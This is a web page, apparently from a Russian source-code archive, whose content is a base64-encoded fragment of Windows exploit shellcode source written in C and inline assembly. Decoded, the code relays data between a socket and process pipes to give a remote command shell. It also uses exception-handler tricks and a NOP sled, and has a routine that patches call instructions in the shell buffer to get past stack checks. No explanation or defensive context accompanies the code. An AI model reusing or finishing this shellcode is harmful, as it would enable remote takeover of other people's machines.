d1Byb2Nlc3NJZCk7DQogICAgICAgICAgICAgICAgICAgbEJ5dGVzUmVhZD02Ow0KICAgICAgICAg
ICAgICAgICAgIFdyaXRlRmlsZWFkZChoV3JpdGVQaXBlMixzdHJhZGQrOCxsQnl0ZXNSZWFkLCZs
Qnl0ZXNSZWFkLDApOw0KICAgICAgICAgICAgICAgICAgIGNsb3Nlc29ja2V0YWRkKGNsaWVudEZE
KTsNCiAgICAgICAgICAgICAgICAgICBicmVhazsgIA0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgZWxzZXsNCiAgICAgICAgICAgICAgICAgICBzZW5kYWRkKGNsaWVudEZELEJ1ZmYsbEJ5dGVz
UmVhZCwwKTsgDQoNCiAgICAgICAgICAgICAgICAgICBXcml0ZUZpbGVhZGQoaFdyaXRlUGlwZTIs
QnVmZixsQnl0ZXNSZWFkLCZsQnl0ZXNSZWFkLDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9
DQogICAgfQ0KfQ0KICANCg0KDQoNCiAgICAgIGRpZTogZ290byBkaWUgIDsNCiAgICAgICAgX2Fz
bXsNCg0KZ2V0ZXhjZXB0cmV0YWRkOiAgIHBvcCAgZWF4DQogICAgICAgICAgICBwdXNoIGVheA0K
ICAgICAgICAgICAgbW92ICBlZGksZHdvcmQgcHRyIFtzdHJhZGRdDQogICAgICAgICAgICBtb3Yg
ZHdvcmQgcHRyIFtlZGktMHgwZV0sZWF4DQogICAgICAgICAgICByZXQNCmVycnByb2dyYW06ICAg
ICAgICBtb3YgZWF4LGR3b3JkIHB0ciBbZXNwKzB4MGNdDQogICAgICAgICAgICBhZGQgZWF4LDB4
YjgNCiAgICAgICAgICAgIG1vdiBkd29yZCBwdHIgW2VheF0sMHgxMTIyMzM0NCAgLy9zdHJhZGQt
MHhlDQogICAgICAgICAgICB4b3IgZWF4LGVheCAgICAgICAgLy8yDQogICAgICAgICAgICByZXQg
ICAgICAgIC8vMQ0KZXhlY3B0cHJvZ3JhbTogICAgIGptcCBlcnJwcm9ncmFtICAgIC8vMiBieXRl
cyAgICAgc3RyYWRkLTcNCm5leHRjYWxsOiAgICAgICAgICBjYWxsIGdldHN0cmFkZCAgICAvLzUg
Ynl0ZXMNCiAgICAgICAgICAgIE5PUA0KICAgICAgICAgICAgTk9QDQogICAgICAgICAgICBOT1AN
CiAgICAgICAgICAgIE5PUA0KICAgICAgICAgICAgTk9QDQogICAgICAgICAgICBOT1ANCiAgICAg
ICAgICAgIE5PUA0KICAgICAgICAgICAgTk9QDQogICAgICAgICAgICBOT1ANCiAgICB9ICAgICAg
ICANCn0NCg0KDQp2b2lkIGNsZWFuY2hrZXNwKGNoYXIgKmZuYWRkLGNoYXIgKnNoZWxsYnVmZixj
aGFyICogY2hrZXNwLGludCBsZW4pDQp7IA0KICAgaW50IGksazsNCiAgIHVuc2lnbmVkIGNoYXIg
dGVtcDsNCiAgIGNoYXIgKmNhbGxhZGQ7DQoNCiAgIGZvcihpPTA7aTxsZW47KytpKXsNCiAgICAg
ICB0ZW1wPXNoZWxsYnVmZltpXTsNCiAgICAgICBpZih0ZW1wPT0weGU4KXsNCiAgICAgICAgICAg
ICBrPSooaW50ICopKHNoZWxsYnVmZitpKzEpOw0KICAgICAgICBjYWxsYWRkPWZuYWRkOw0KICAg
ICAgY2FsbGFkZCs9azsNCiAgICAgIGNhbGxhZGQrPWk7DQogICAgICBjYWxsYWRkKz01Ow0KICAg
ICAgaWYoY2FsbGFkZD09Y2hrZXNwKXsNCiAgICAgICAgICAgICAgc2hlbGxidWZmW2ldPTB4OTA7
DQogICAgICAgICAgICAgIHNoZWxsYnVmZltpKzFdPTB4NDM7ICAgLy8gaW5jIGVieA0KICAgICAg
ICBzaGVsbGJ1ZmZbaSsyXT0weDRiOyAgICAvLyBkZWMgZWJ4DQogICAgICAgIHNoZWxsYnVmZltp
KzNdPTB4NDM7DQogICAgICAgIHNoZWxsYnVmZltpKzRdPTB4NGI7DQogICAgICAgfQ0KICAgICAg
ICB9DQogICB9DQp9

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру